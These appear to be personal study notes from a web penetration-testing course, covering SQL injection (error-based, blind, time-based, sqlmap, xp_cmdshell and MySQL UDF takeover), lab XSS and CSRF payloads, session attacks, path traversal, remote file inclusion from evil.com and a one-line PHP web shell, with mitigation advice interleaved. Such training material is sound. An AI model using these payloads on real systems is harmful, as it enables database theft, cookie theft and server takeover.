Then we can proceed with the usual method. We filter out the id we already have:
9999 OR 1 IN (SELECT TOP 1 CAST(id as varchar) %2bchar(64) FROM cms..users WHERE id NOT IN ('1'); -- -
usernames
After extracting all the ids, we can use this information to extract all the username:
9999 OR 1 IN (SELECT TOP 1 CAST(username as varchar) FROM cms..users WHERE id =1; -- -
// No string concatenation is needed here, because username data type is varchar. Using the ids, let us correlate usernames and passwords by retrieving the password of a specific username.
passwords
We can retrieve password by using the same payload:
9999 OR 1 IN (SELECT TOP 1 CAST(password as varchar) FROM cms..users WHERE id=1; -- -
Or even concatenate the username and the password:
9999 OR 1 IN (SELECT username%2bchar(64)%2bpassword FROM cms..users WHERE id=1); -- -
MySQL error-based SQLi Exploitation
To exploit error-based SQL injection on MySQL, we will use the group by statement:
select 1,2 UNION select count(*), concat(version(), floor(rand(0)*2)) as x from information_schema.tables group by x;
PostgreSQL Error-based SQLi Exploitation
To exploit SQLi on a web app using postgreeSQL, you have to leverage the cast technique we saw For MSSQL.
select cast(version() as numeric);
Or the tables, by iterating over the information_schema special database:
select cast ((select table_name from information_schema.tables limit 1 offset 0) as numeric);
select cast ((select table_name from information_schema.tables limit 1 offset 1) as numeric);
select cast ((select table_name from information_schema.tables limit 1 offset 2) as numeric);
Developing Error-based SQLi Payloads
- You have to study how different DBMS functions work.
- You can refer to the following cheat sheets by PentestMonkey to craft your payloads:
→ MSSQL = http://pentestmonkey.net/cheat-sheet/sql-injection/mssql-sql-injection-cheat-sheet
→ MySQL = http://pentestmonkey.net/cheat-sheet/sql-injection/mysql-sql-injection-cheat-sheet
→ Postgre = http://pentestmonkey.net/cheat-sheet/sql-injection/postgres-sql-injection-cheat-sheet
Exploiting BLIND SQL injections
- its a inference methodology you can use to extract database schemas and data.
- Once pentester find a way to tell when a condition is true or false, they can ask the database some simple true/false questions, like:
Is the first letter of the username **a**?
Does this database contain three tables?
etc
Detecting current User
- user() returns the same of the user currently using the database
- substring() returns a substring of the given argument. It takes three parameters: the input string, the position of the substring and its length.
- Functions can be used as argument of other functions.
Moreover, SQL allows you to test the output of a function in a true/false condition
select substring(user(), 1, 1) = 'r';
// returns 1 if true, 0 if false
' or substr(user(), 1, 1) ='a
' or substr(user(), 1, 1) ='b
etc
When we find the first letter, we can move to the second:
' or substr(user(), 2, 1) ='a
' or substr(user(), 2, 1) ='b
Scripting Blind SQLi Data Dump
9999 or SUBTRING(user_name(),1,1) = 'a'; --
9999 or SUBTRING(user_name(),1,1) = 'b'; --
// etc
Optimized Blind SQL injections
This means that you need to be able to understand if the character you are trying to guess is:
[A-Z]
[a-z]
[0-9]
First:
ASCII(UPPER(SUBSTRING((<query>),<position>, 1)))=ASCII(SUBSTRING((<query>,<position>, 1))
// notes if the test is FALSE or TRUE
ASCII(LOWER(SUBSTRING((<query>),<position>, 1)))=ASCII(SUBSTRING((<query>,<position>, 1))
// the same with lowercase
- if the first query returns TRUE and the second FALSE, the character is uppercase
- if the first is false and the second is true,.the character is lowercase
- if both queries are TRUE our character is either a number or a symbol
- in this case we will iterate through [0-9] and symbols only
Time Based Blind SQL Injection
- Another Blind SQL Injection technique is called Time-Based Blind Sql injection. Time is used to infer a TRUE condition from a FALSE condition.
This SQL syntax is used:
%SQL condition% wait For delay '0:0:5'
- if the SQL condition is TRUE the DBMS will delay For 5 seconds
Examples:
Check if we are 'sa' (MS SQL Server):
if (select user) = 'sa' waitfor delay '0:0:5'
Guess a database value (MySQL):
IF EXISTS (SELECT * FROM users WHERE username='armando') BENCHMARK (1000000,MD5(1))
- if the IF clause yields TRUE (thus consuming time).
- you should be careful with the first argument of BENCHMARK(). It may seriously affect the server load
SQLMap
- Its a open source penetration testing tool that automates the process of detecting and exploiting SQL injection flaws and taking over of database servers.
sqlmap -u <URL> -p <injection parameter> [options]
// SQLMap need to know the vulnerable URL and the parameter to test For a SQLi.
To exploit the union-based in-band SQLi:
sqlmap -u 'http://victim.site/view.php?id=1141' -p id --technique=U
// This tells SQLMap to test the id parameter of the GET request For view.php. Moreover it tells SQLMap to use a UNION based SQL injection technique.
If you have to exploit a POST parameter you have to use:
sqlmap -u <URL> --data=<POST string> -p parameter [options]
// you can write the POST string by yourself or copy it from a request intercepted with Burp
Another way to use SQLMap is by saving a request intercepted with Burp to a file
Burp > Copy to File
sqlmap -r <request file> -p parameter [options]
- you can also copy the POST string from a request intercepted by Burp
Extracting the Database Banner
By using the ‘–banner’ switch you can grab the database banner:
sqlmap -u <target> --banner <other options>
Information Gathering
List the users of the database:
sqlmap -u <target> --users <others options>
Check if the web app database user is a database administrator:
sqlmap -u <target> --is-dba <other options>
List all available databases:
sqlmap -u <target> --dbs <other options>
Extracting the Schema
After that you choose a database by using the -D switch and list its tables:
sqlmap -u <target> -D <database> --tables <other options>
List one or more tables and list their columns:
sqlmap -u <target> -D <database> -T <tables, comma separeted list> --columns <other options>
Finally, dump the columns you need:
sqlmap -u <target> -D <database> -T <tables> -C <columns list> --dump <other options>
SQLMap Advanced Usage
- Not all web app and exploitation scenarios are the same. Because of that, SQLMap provides you with some useful command line switches that help fine tune the following:
The DBMS you are attacking
Injection point
Payload aggressiveness
Exploitation speed and load on the clients infrastructure
Forcing the DBMS
SQLMap is able to detect the DBMS behind a web application automatically. If it fails, you can specify the DBMS by hand:
sqlmap --dbms=<DBMS> ...
The DBMS you can specify are:
MySQL
Oracle
PostgreSQL
Microsoft SQL Server
Microsoft Access
SQLite
Firebird
Sybase
SAP MaxDB
DB2
specifying the DBMS also helps to shorten the detection phase and its detectability. Beware that specifying the wrong DBMS means sending useless payloads to the target application.
Fine Tuning the Payloads
- Web app sometime change their output in a way that SQLMap cannot figure it out. This makes blind exploitation impossible. To get around this, you can use the –string and –not-string command line switches:
Append to --string a string which is always be present in TRUE output pages
Append to --not-string a string which is always be present in FALSE output pages.
Example:
sqlmap -u 'http://localhost/ecommerce.php?id=1' --string "nokia" <other switches>
- Sometimes a SQLi payload is inserted in a structured POST parameter like a JSON or you need to insert some characters to make the query syntactically correct.
- You can do that by using the –prefix and –suffix command line switches
If injected payloads need to end with:
')); it looks like this:'
sqlmap -u <URL> --suffix "'));" <others switches>
Aggressiveness and Load
-
By using the –level command line switch, SQLMap is able to test: The Cookie header - values 2 The User-Agent and Referrer - headers 3 The Host - header 5
-
By default Level 1 SQLMap tests GET and POST parameters
-
The -p switch bypasses the Level. This means that by manually setting the parameter to test, you can perform a more accurate, stealthy and in-depth exploitation.
[+] Note Permanently injection some heavy time-based SQLs on a popular page on a web site can: Make the page load extremely slow Eat-up all the CPU resources available For that site
- The –risk parameter lets you fine-tune how dangerous your injections can be. Use this parameter only when needed after carefully studying the web application you are testing!
- Lauching SQLMap with both a high level and risk and letting it automatically test For injection points is very unprofessional and will probably generate issues to your clients infrastructure!
Risk levels:
1 - Default - Innocuous injections
2 - Enables heavy time-based injections
3 - Enables OR-based injections
using the 3rd level on UPDATE queries would update all the rows in a table
SQLI can take a long time to dump data. This times can be reduced by using persistent connection to the target by using the –keep-alive command line switch:
→ sqlmap =u <target> --keep-alive <other commands>
You can reduce the dumping phase time by using parallel threads. Use the –threads command line switch with an argument ranging from 1 to 10:
Example: Using 7 threads to exploit a blind injection:
sqlmap -u <target> --technique=B --threads 7 <other commands>
Mitigation Strategies
- SQLi vulnerabilities are input validation vulnerabilties and can be prevented by enforcing input validation on any user-controlled parameter.
Prepared Statements
- web app which use SQL, can separate the code from instruction using bind variables in SQL. Implementing prepared statements could be a long term objective as it implies code regactoring of nearly every SQL interaction in the web app.
Example in PHP:
$sql = "INSERT INTO table VALUES (?,?,?,?)";
$sql_statement = $mysqli->prepare($sql)
$sql_statement->bind_param('dsss', $user_id, $name, $address, $email);
$user_id=$_POST['user_id'];
$name = $_POST['name'];
$address = $_POST['address'];
$email = $_POST['email'];
$sql_statement->execute();
Type Casting
A short term method to prevent some SQLs is to perform type casting For some data types, perhaps most notably integer numbers:
$user_id = (int) $user_id;
Input Validation
- it can sometimes protect your application if a SQL injection vulnerablity is somehow introduced by accident
White-list based validation example written in PHP. Only letters, spaces and dashes are allowed.
if (!preg_match(|'^[a-z\s-]$|i', $name)) { die('Please enter a valid name'); }
From SQLi to Server Takeover
- Since we will ned high privileges, our first testing objectives is to retrieve the sa users password.
- Once we have the SHA-1 hash of the password, we can crack it and access the database in the same manner as a legitimate database administrator.
There are two queries you can run to retrieve the username and the password hash:
SELECT name, password FROM master..sysxlogins // MSSQL Server 2000
SELECT name, password_hash FROM master.sys.sql_logins // MSSQL Server >=2005
xp_cmdshell
- The sa user has complete control over the DBMS, the databases it contains and the advanced features.
- Most of the functionalities useful For a pentester exploit the xp_cmdshell stored procedure.
EXEC master..xp_cmdshell '<command>'
// xp_cmdshell is not enabled by default and requires 'sa' privileges
To enable we have to issue the following commands:
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;
To disable:
EXEC sp_configure 'xp_cmdshell', 0;
EXEC sp_configure 'show advanced options', 0;
RECONFIGURE;
Internal Network Host Enumeration
- By using xp_cmdshell we can launch some commands on the database server.
- We can combine this with some other SQL Server features to mount a host enumeration utility via SQL injections.
Example using a PING:
EXEC master.dbo.xp_cmdshell 'ping <target IP address>'
// we can use the query execution time to infer the ping result. // by default the MS ping sends 4 ICMP echo requests. This means that pinging a live host takes about 5 to 8 seconds, while pinging a bogus IP address takes from 20 to 30 seconds.
Port Scanning
- OPENROWSET is a SQL server method you can use to access the tables of a remote server. It needs the IP address and the port to connect to.
This can be exploited to create a port scanner.
SELECT * from OPENROWSET('SQLOLEDB', 'uid=sa;pwd=something;Network=DBMSSOCN;Address=<target ip>, <target port>; timeout=<connection timeout in seconds>', 'select 1')--
- if the port is closed = SQL Server does not exist or access denied
- if the port is open = General network error / Check your network documentation
- if error are hidden and the port is closed the connection will timeout according to the
value.
Reading the File System
EXEC master..xp_cmdshell 'dir <target directory>'
// that will return the directory listing of
To read the result, we can save the output of the command on a web accessible folder:
EXEC master..xp_cmdshell 'dir c:\ > C>\inetpub\wwwroot\site\dir.txt'--
// then browser to dir.txt at the URL http://site.com/dir.txt
Or we can read a file on the server and then put its content into a table. Then we can extract the table via SQLi like any other table:
CREATE TABLE filecontent (line varchar(8000));
BULK INSERT filecontent FROM '<target file>';
// drop the table after extracting it
// DROP TABLE filecontent;
Uploading Files
Uploading a file involves two steps:
1. We have to insert the file into a table in a MS SQL database under our control
CREATE TABLE HelperTable (file text)
BULK INSERT HelperTable FROM 'shell.exe' WITH (codepage='RAW')
2. We force the target DB server to retrieve it from our server
EXEC xp_cmdshell 'bcp "SELECT * FROM HelperTable" queryout shell.exe -c -Craw -S <our server address> -U <our server username> -P <our server password>'
// the victim server will connect to our SQL server, read the exe file from the table and recreate it remotely.
Storing Command Results into a Temporary Table
Create a temporary table to hold the stored procedure output
create table temptable (id into not null identity (1,1), output nvarchar(4096) null);--
the id column will help us to access different command outputs while the output column will contain the actual command results.
Crafting the argument For xp_cmdshell: // we need to convert the command string of the command we want to run into an ASCII representation. example: *dir c:* > we have to convert every character to it HEX ASCII representation.
64 | d |
69 | i |
72 | r |
20 | ” “ |
63 | c |
3a | : |
4c | | |
then insert a double zero after every character of the string.
Executing xp_cmdshell: // now we have to create a variable the command string we have just created and then we pass it to xp_cmdshell
declare @t nvarchar(4096) set @t=0x640069007200200063003a005c00 insert into temptable (output) EXEC master.dbo.xp_cmdshell @t;
Reading the results: // We can use any form of data-dumping
Final cleanup: // delete the temporary table
DROP TABLE temptable;
Advanced MySQL exploitation
- MySQL also provides some advanced features.
- https://dev.mysql.com/doc/refman/5.1/en/privileges-provided.html#priv_file
- IF a application connects to its database as root, exploiting a SQL injection will lead not only to data compromise, but also to full server takeover.
Read Files
SELECT LOAD_FILE('<text file path>');
To read a binary file:
SELECT HEX(LOAD_FILE('<text file path>'));
// with this method, you can convert any binary file to a long hex string that you can use to steal any data from the server.
Its also possible to PARSE the content of a file and tell MySQL how to distinguish one record from another:
CREATE TABLE temptable (output longtext);
LOAD DATA INFILE '/etc/passwd' INTO TABLE temptable FIELDS TERMINATED BY '\n' (output);
Uploading Files
This can be used to download huge query results via the web app and to upload pentester supplied data to the server.
SELECT <fields> FROM <table> INTO DUMPFILE '<output file path>';
- You can load a binary file into a table via SQL injection, by converting it into an hex-string
Example= to upload /bin/ls, you have to create a file on your local machine and then load it into a table:
SELECT HEX(LOAD_FILE('/bin/ls')) INTO DUMPFILE '/tmp/ls.dmp';
LOAD DATA INFILE '/tmp/ls.dmp' INTO TABLE mytable FIELDS TERMINATED BY 'somerandom' LINES TERMINATED BY 'otherrnD' (data);
You can test by using INTO DUMPFILE to recreate the same file:
SELECT UNHEX (data) FROM mytable INTO DUMPFILE '/tmp/ls.test';
sha256sum /tmp/ls.test /bin/ls
// if everything work as expected you can upload the file content to a table on the victim server. // you will need to split the DUMPFILE you created into chunks of 1024 bytes and then insert them into a table field.
First you have to perform an insert with the first chunk. Next, you have to update the field by adding the other chunks:
INSERT INTO victimtable(field) VALUES (<values>);
UPDATE victimtable SET field=CONCAT(data, <values>);
UPDATE victimtable SET field=CONCAT(data, <values>);
UPDATE ... etc
Finally, you can write the file on the target system by executing:
SELECT <victim field> FROM <victim table> WHERE <options conditions> INTO DUMPFILE '<output path>';
Executing Shell Commands
- User Defined Functions
→ UDF = https://dev.mysql.com/doc/refman/5.7/en/adding-udf.html
By using EDF its possible to create two functions:
sys_eval(<command>) - which returns the standard output of the chosen command
sys_exec(<command>) - that returns the command exit status
To use those functions, you have to upload: in Linux = a Shared object (SO) in Windows = a Dynamic-link library (DLL)
→ Source code of the functions: http://www.mysqludf.org/ → Compiled versions: https://github.com/sqlmapproject/sqlmap/tree/master/udf/mysql
After uploading the files to the target system, running a command is just a matter if performing a SELECT:
SELECT sys_eval('<command>');
SELECT sys_exec('<command>');
This can be easily accomplished by using the SQLMap takeover features –os-cmd and –os-shell
Lab Environment
<h1>localhost</h1>
Inspect the DOM elements of the resulting page (press CTRL+SHIFT+I)
<script>alert("testing-xss")</script>
<script>alert(document.cookie)</script>
PHPSESSID=tpp66es56i5e4hgmrbtd75vqi6; showhints=1
innerHTML = DOM command:
you";}catch(e){}alert("dom-xss-payload");try{"
sql injection:
user: '' = sql error
' or '1'='1
Sqlmap:
sqlmap -u "http://demo.ine.local/index.php?page=user-info.php&username=test&password=test&user-info-php-submit-button=View+Account+Details" --cookie "PHPSESSID=gotu3qj422pmksv4ubtmjbmmo5; showhints=1" -p username
sqlmap -u "http://demo.ine.local/index.php?page=user-info.php&username=test&password=test&user-info-php-submit-button=View+Account+Details" --cookie "PHPSESSID=gotu3qj422pmksv4ubtmjbmmo5; showhints=1" -p username --dbs
sqlmap -u "http://demo.ine.local/index.php?page=user-info.php&username=test&password=test&user-info-php-submit-button=View+Account+Details" --cookie "PHPSESSID=gotu3qj422pmksv4ubtmjbmmo5; showhints=1" -p username --dbs -D mutillidae --tables
sqlmap -u "http://demo.ine.local/index.php?page=user-info.php&username=test&password=test&user-info-php-submit-button=View+Account+Details" --cookie "PHPSESSID=gotu3qj422pmksv4ubtmjbmmo5; showhints=1" -p username --dbs -D mutillidae --tables -T accounts --columns
sqlmap -u "http://demo.ine.local/index.php?page=user-info.php&username=test&password=test&user-info-php-submit-button=View+Account+Details" --cookie "PHPSESSID=gotu3qj422pmksv4ubtmjbmmo5; showhints=1" -p username --dbs -D mutillidae --tables -T accounts -C username,password,is_admin --dump
Obtain an OS shell on the target server.
Use the following command:
--os-shell
sqlmap -u "http://demo.ine.local/index.php?page=user-info.php&username=test&password=test&user-info-php-submit-button=View+Account+Details" --cookie "PHPSESSID=gotu3qj422pmksv4ubtmjbmmo5; showhints=1" -p username --technique=B --level=5 --risk=2 --retries=10 --timeout 120
Use the following command to exploit SQLi using the boolean-based blind technique:
--technique B
Copy the payload to the vulnerable field, in this case username:
Payload = page=user-info.php&username=test' AND 7329=(SELECT (CASE WHEN (7329=7329) THEN 7329 ELSE (SELECT 1951 UNION SELECT 7004) END))-- -&password=test&user-info-php-submit-button=View Account Details
if you are sending through burp, URL encode first
- Exploit SQLi vulnerability using the time-based blind technique using the sqlmap tool.
Use the following command to exploit SQLi using the time-based blind technique:
--technique T
sqlmap -u "http://demo.ine.local/index.php?page=user-info.php&username=test&password=test&user-info-php-submit-button=View+Account+Details" --cookie "PHPSESSID=gotu3qj422pmksv4ubtmjbmmo5; showhints=1" -p username --technique=T --level=5 --risk=2 --retries=10 --timeout 120
ps: moreover sqlmap flags here https://github.com/sqlmapproject/sqlmap/wiki/Usage
- Copy that payload and place it in the username parameter (in the Burp Repeater window):
Time-based Blind SQLi Payload:
page=user-info.php&username=test' AND (SELECT 8505 FROM (SELECT(SLEEP(5)))XglP)-- CkEz&password=test&user-info-php-submit-button=View Account Details
- CSRF Notice the : csrf-token parameter is empty - there is no CSRF protection!
Therefore, if an attacker-controlled page is opened, it would register a new user with the victim users session without requiring any user-interaction!
Save the following HTML page as bank-login.html:
HTML Code:
<html>
<head>
<title>Bank Login Page</title>
</head>
<body>
<div align="center">
<h1>Bank Login Page</h1>
<form>
<input type="text" name="username" value="" placeholder="Username"><br />
<input type="password" name="password" value="" placeholder="Password"><br />
<input type="submit" value="Login" />
</form>
</div>
<!-- Form target frame to avoid redirection -->
<iframe id="iframe" name="my_iframe" style="position: absolute;width:0;height:0;border:0;"></iframe>
<!-- CSRF - Register new user -->
<form name="csrf" id="csrf" target="my_iframe" action="http://demo.ine.local/index.php?page=register.php" method="POST">
<input type="hidden" name="csrf-token" value="">
<input type="hidden" name="username" value="root">
<input type="hidden" name="password" value="root_passwd">
<input type="hidden" name="confirm_password" value="root_passwd">
<input type="hidden" name="my_signature" value="nothing interesting">
<input type="hidden" name="register-php-submit-button" value="Create Account">
</form>
<!-- Send POST request -->
<script>
document.csrf.submit();
</script>
</body>
</html>
- The above code creates a simple login form and a hidden form that sends the account creation request once this page loads.
- So a victim just needs to open this page and the rest follows.
open the page in a python server in the attacker kali machine
enter a fake username and password
grab with burp
[!Opinion] Very weak and boring lab
Other Common Web Attacks
Session Attacks
A stronger ID is:
Valid For only a single session
Time limited
Purely random (thus unpredictable)
- Do not store session token in:
- URL: The session token will be leaked to external sites through the referrer header and in the user browser history
- HTML: The session token could be cached in the browser or intermediate proxies
HTML5 Web Storage:
Localstorage: will last until its explicitly deleted, so this may make session last too long
Sessionstorage: is only destroyed when the browser is closed. There may be users that do not close their browser For a long time.
Session Hijacking
- Exploitation of a valid session assigned to a user.
- If the session identified is weakly generated, the attacker might be able to brute-force the session ID.
Remember that in most web app, sessions IDs are typically carried back and forth between client web browser and server using:
Cookies
URLs
Attack
A session hijack attack can happen by:
Exploiting an existing XSS vuln
Packet Sniffing
Gaining direct access to server filesystem where sessions are stored
Finding session IDs in logs or browser history *sessions carried through the URL
via XSS
You can perform this attack when all the following conditions occur:
An XSS vuln exists and you can execute your own payload through it
Session IDs sent through cookies on each HTTP request
Cookies are readable by JavaScript
Preventing Session Hijacking via XSS
- In order to prevent cookie stealing through XSS, making cookie inaccessible via JavaScript is necessary. This is as simple as creating the cookie with the HTTPONLY flag enabled.
- If you are using server-side script libraries to manage sessions:
PHP
Before any session-related operation is performed, you should run the following instruction:
init_set('session.cookie_httponly','1');
- When session_start() is invoked, if a valid session does not already exist, a new one will be created. A cookie with the name PHPSESSID and HttpOnly flag enabled will be sent to the web client.
Java
Servlet 3.0 (Java EE 6) introduced a standard way to configure HttpOnly attribute For the session cookie; This can be accomplished by applying the following configuration in web.xml:
init_set('session.cookie_httponly','1');
- In Tomcat 6, the flag useHttpOnly=True in context.xml forces this behavior For applications, including Tomcat-Based frameworks like JBoss.
- If you want to manage session cookies directly, you can do so from the Java cookie interface.
- Sun JavaEE supports the HttpOnly flag in the cookie interface and For session cookies (JSESSIONID), after version 6 (Servlet class V3)
String sessionid=request.getSession().getId();
response.setHeader("SET-COOKIE", "JSESSIONID=" + sessionid + "HttpOnly");
- The methods setHttpOnly and isHttpOnly can be used to set and check For HttpOnly value in cookies. For older versions, the workaround is to rewrite the JSESSIONID value, setting it as a custom header;
→ moreover: https://www.owasp.org/index.php/HttpOnly
.NET
By default, starting from .NET 2.0, the framework sets the HttpOnly attribute For both:
SessionIDs
Forms Authentication cookie
Session Hijacking via Packet Sniffing
- This is unlikely to happen For a remote attacker, but its feasible on a local network if both the attacker and victim are present.
-
If HTTP traffic is encrypted through IPSEC or SSL, the session token will be harder (if not impossible) to obtain
- This attack requires the following two conditions to be true: Victim HTTP traffic can be sniffed (LAN or compromised gateway) HTTP traffic must be unencrypted (No SSL)
Web Server
- Generally speaking, session data is stored in either the web servers file system or in memory. If an attacker obtains full access to the web server, the malicious user can steal the session data of all users - not just the session identifiers.
PHP
- Session data will be stored within the folder specified by the php.ini entry session.save_path. The attacker will focus on files named sess_(sessionID).
In a real world example, we could find the following entried:
sess_7o410kk5bt14e4qlok8r26tn12
If you want to hijack the user session related to the first entry, you would install a new cookie in your web browser using these values:
cookie name: PHPSESSID
cookie value: ta9ikqska407387itjf157624
The attack is very simple however, its critical that the attacker has access to the webserver file system.
Java
- Tomcat provides two standard implementations of a Session Manager
- The default stores active session, while the second stored active session that have been swapped. The file name of the default session data is SESSION.ser.
→ moreover: http://tomcat.apache.org/tomcat-6.0-doc/config/manager.html
.NET
-
ASp.NET can store session data in three different locations:
-
ASP.NET runtime process aspnet_wp.exe // if the web server crashes then all session data will be lost
-
A dedicated Windows Service // If the web server crashes then session data will persist but if the machine crashes then the session data will be lost
-
Microsoft SQL Server database // session data will persist regardless of crashes
-
Unlike PHP technology, .NET session data cannot be read directly from files on web server.
Session Fixation Attack
- The attacker fixates a sessionID and forces the victim to use it (after the user logs in). The attack can be divided into two places:
- the attacker obtains a valid sessionID
- The attacker forces the victim to use this sessionID to establish a personal session with web server.
In contract to the previous attack, the attacker is not interested in stealing the sessionID; He instead creates one and forces the victim to use it.
Step 1 : Set the sessionID
- Most web app are designed to start a new session the first time a user visits a website regardless of whether or not they are authenticated.
-
Although this is not a vuln, it could turn into Session Fixation if:
- The session identifier remains the same after a successfully reserved operation (example: login)
-
The session identifier can be propagated (example: via URL or JavaScript)
- Some web app could permit the attacker to create and use his own personal sessionID; is this case, you do not care about obtaining a valid sessionID because you can simply create one.
- If a web app releases a valid sessionID only after a reserved operation (login), Session Fixation is only possible if the attacker is also a member of the vulnerable website.
- In this case, the attacker can use Session Fixation to impersonate another user.
Step 2 : Force the victim
- This happens when the sessionID is embedded in the URL rather than inside the cookie header; an attacker can simply send a malicious link to the victim, which will set the new, and known, sessionID.
- A web app vuln to session Fixation will recycle this sessionID and will bind the session to the victim.
Preventing Session Fixation
- Generate a new sessionID after any authenticated operation is performed.
PHP
- The following method will replace the current sessionID with a new one and will retain the current session information. The old session cookie will be automatically invalidated and a new one will be sent.
session_regenerate_id(true);
→ moreover: http://php.net/manual/en/function.session-regenerate-id.php
Java
- The invalidation of the current session and the creation of a new one do not exist.
You should use the following:
oldHttpSession=HttpServletRequest.getSession();
oldHttpSession.invalidate();
newHttpSession=HttpServletRequest.getSession(true);
// the old session cookie will be automatically invalidated and a new one will be sent. // moreover: http://docs.oracle.com/javaee/6/api/javax/servlet/http/HttpServletRequest.html
.NET
- its complicated because of the tricky API. The .NET framework provides the HttpSessionState.Abandon() method to manage session removal.
- Although the session is invalidated, the web application will continue using the same SessionID within the cookie header, so Session Fixation could still occur.
Session.Abandon();
Response.Cookies.Add(new HttpCookie("ASP.NET_SessionId", ""));
→ moreover: https://msdn.microsoft.com/en-us/library/ms524310(v=vs.90).aspx
Cross Site Request Forgery
- CSRF or XSRF (aka Sea-Surf attacks);
- Automated scanning tools cannot easily find these vulnerabilties.
- CSRF exploits a feature of internet browsing, instead of a specific vulnerabilty.
- CSRF is a vuln where a third-party web app is able to perform an action on the users behalf.
- Its based on the fact that web app can send requests to other web apps, without showing the response.
Example:
- Bob (victim) visits amazon.com, logs in, then leaves the site without logging out.
- Bob then visits foo.com (malicious site) which inadvertently executes a request to amazon.com from the Bobs browser (such as buy a book)
- The victim browser sends this request, along with all the victim cookies. The request seems legit to amazon.com
- Since Bob is still logged in on Amazon, the request goes through and the money is withdrawn from his account For the purchase of the book.
- This is because Bob already has an authenticated session open on Amazon.
- Google, Amazon, ebay and other major websites used to be vulnerable to CSRF but a large number of smaller websites and third party application scripts still remain vulnerable.
Finding CSRF
- All requests to a web app that do not implement an Anti-CSRF mechanism are automatically vulnerable.
→ http://thehackernews.com/2014/08/flickr-cross-site-request-forgery.html
→ http://web.archive.org/web/20150418174949/http:/breakingbits.net/2015/01/18/taking-over-godaddy-accounts-using-csrf/
→ http://www.ehackingnews.com/2012/10/hacker-news-csrf-vulnerability-in-Twitter.html
Storing session tokens in cookie enables CSRF exploitability, while storing session tokens into URLs enable other kind of exploits. Tokens and Captchas are the most commonly used protection mechanisms.
Exploiting CSRF
- First, we have to identify the structure of the request that will let us reach our objective (adding a super admin in our case). There is obviously a CGI that takes some arguments through GET or POST.
- The CGI creating a new Super Admin user in Joomla is /administrator/index.php. it takes arguments through the POST method.
- Check the parameters with burp
- Since the request method is a POSt, we have to use a proxy that will let us transform a GET request into a POST request.
→ http://shiflett.org/blog/2007/jul/csrf-redirector
Preventing
- The most common protection mechanism against CSRF exploit is the token.
- In a real scenario, the Add-user form in the administration are of CMSs include a hidden input that requires a token. This token can be implemented as an MD5 hash (or stronger) of some randomly-generated string.
- While rendering the form to the user, the following steps are taken by the web application to enforce protection against CSRF exploits:
Generate a Token
Include the token as hidden input on the form
Save the token in the session variables
<form action="adduser.php" method="POST">
<input type="text" name="username"/>
...
<input type="hidden" name="token"
value="12345345675687"
...
</form>
Adduser.php will have to check that the token stored in the session matches the token received through the POST. If they match, the request is fulfilled, otherwise its refused.
- Its crucial that the token must be random, unpredictable and change For at least every session.
- The token becomes useless when the application is also vulnerable to XSS.
- Anyway, to prevent CSRF, one has to implement a random token For every request and be immune to XSS exploits at the same time.
File and Resources Attacks
- Authorization attacks have to do with accessing information that the user does not have permission to access.
Path Traversal
- This attack, aka dot-dot-dash attack (../), is usually performed by means of those characters that allow us to move up in the directory tree.
Example:
Linux path =
../../../etc/passwd
Win path =
../../../windows/win.ini
../../../boot.ini
Path Convention
- Depending on the Operating System running on the web server, a root folder can be located using the following syntax:
*Nix:
slash = /
Windows:
<driver letter>:\ = C:\
- Directory separator symbols
*Nix:
Slash /
Windows:
Slash /
Backslash \
To move up the current directory:
../
To terminate the current file name:
%00 = NULL BYTE
// does not work with PHP >=5.3.4 // This can be useful to terminate the string in case something else is appended to it by the web application.
file_read("/htdocs/website/reports/" user_input + ".pdf");
// the %00 would allow the user to terminate the string and read any other file extensions
../../etc/passwd%00
Encoding
- Web app that perform filtering operations on these nasty characters should be aware of different encodings.
character | URL encoding | 16-bit Unicode |
. | %2e | %u002e |
/ | %2f | %u2215 |
\ | %5c | %u2216 |
- Any combination of the previous encoding may work on the target web app.
Best Defensive Techniques
- The simplest way to defend against a path traversal attack is to filter any malicious sequences from the input parameters; on the right, you can see some typical sequences that should be filtered. In most cases, you will also want to filter the “/” char alone.
"../ "
"..\ "
"%00 (NULL BYTES)"
File Inclusion Vulnerabilities
- Divided into Remote and Local
LFI
- Still found in custom scripts where path characters are not stripped from input and the input is used as part of an include.
RFI
- Works the same way as LFI, the only difference is that the file to be included is pulled remotely.
- Our aim in this case is not just to read but, to include our own code in the execution. An exploitable URL would look like this:
page=http://evil.com/shell.txt
- In this case, shell.txt containing PHP code, will be included in the page and executed.
- A common exploit to this vulnerability is to include a PHP shell that would let the hacker or the pentester execute any code on the server.
- Even the simplest PHP shell will accept commands from GET/POST arguments and execute them on the server.
-
Its important to know that the file included must not have the .php extension. Otherwise the code within the included file will run on the attacker machine, instead of the target web app.
- To immediately spot a vulnerable parameter, you can try to inject http://google.com
- If its vulnerable, the HTML code of google.com should be injected in the vuln page.
note: RFI is possible because the allow_url_include directive is set to On within php.ini. Its good practice to set it to Off. Exploiting RFI requires that you have a PHP shell uploaded somewhere and accessible from the internet.
Unrestricted File Upload
→ https://www.owasp.org/index.php/Unrestricted_File_Upload
- One of the most dangerous vuln a web app can suffer from.
- This vuln affects all the web apps that allow file upload, without properly enforcing restrictive policies on: The maximum size of the file (DoS) The nature of the file (Image, PDF, XLS, etc)
example that we can upload
<?php
exec($_GET['command']);
?>
With the simple shell the attacker would be able to launch arbitrary OS commands by specifying them in the URL:
site.php?command=<COMMAND>
Vulnerable Web App
- In order For the app to be vuln, the following conditions must apply:
- The filetype is not checked against a whitelist of allowed formats
- The filename and path of the uploaded file is known to the attacker or is guessable
- The folder in which the file is placed allows the execution of server-side scripts
Although a web shell may allow the attacker to execute commands, browse the system and so on, other attacks can be run such as:
Phishing pages
defacing of the web application
storing XSS
uploading malicious files
etc
The attack
The first thing to do is to understand how the application works:
Where the file is stored
How its used
How its included in the web application itself
Best Defensive Techniques
A web developer should inspect the uploaded file at two different layers:
METADATA (name, extension, size, etc)
Actual content
Enforcing a whitelist or blacklist, of allowed file extensions is the first line of defense but, unfortunately not the ultimate solution. This will just make it more difficult For attacker but, it will not stop them.
The file extension is not a protection mechanism, cause we can upload malicious payloads within a text file renamed with .pdf, and it will be executed.
The best defense is to actually determine the file type by inspecting the content of the uploaded file. This can be achieved using libraries For binary formats or parsers For text files however, this is not the only recommendation.
Web developers must limit the file size as well as the file name, set proper permission on the upload folder, filter and discard special characters, use virus scanners and so on.
Questions to answer if u are a web dev:
Who will use the uploaded file?
How will the uploaded file be used?
will the content of the file be interpreted by an HTML parser?
What privileges will this file have/need on my server?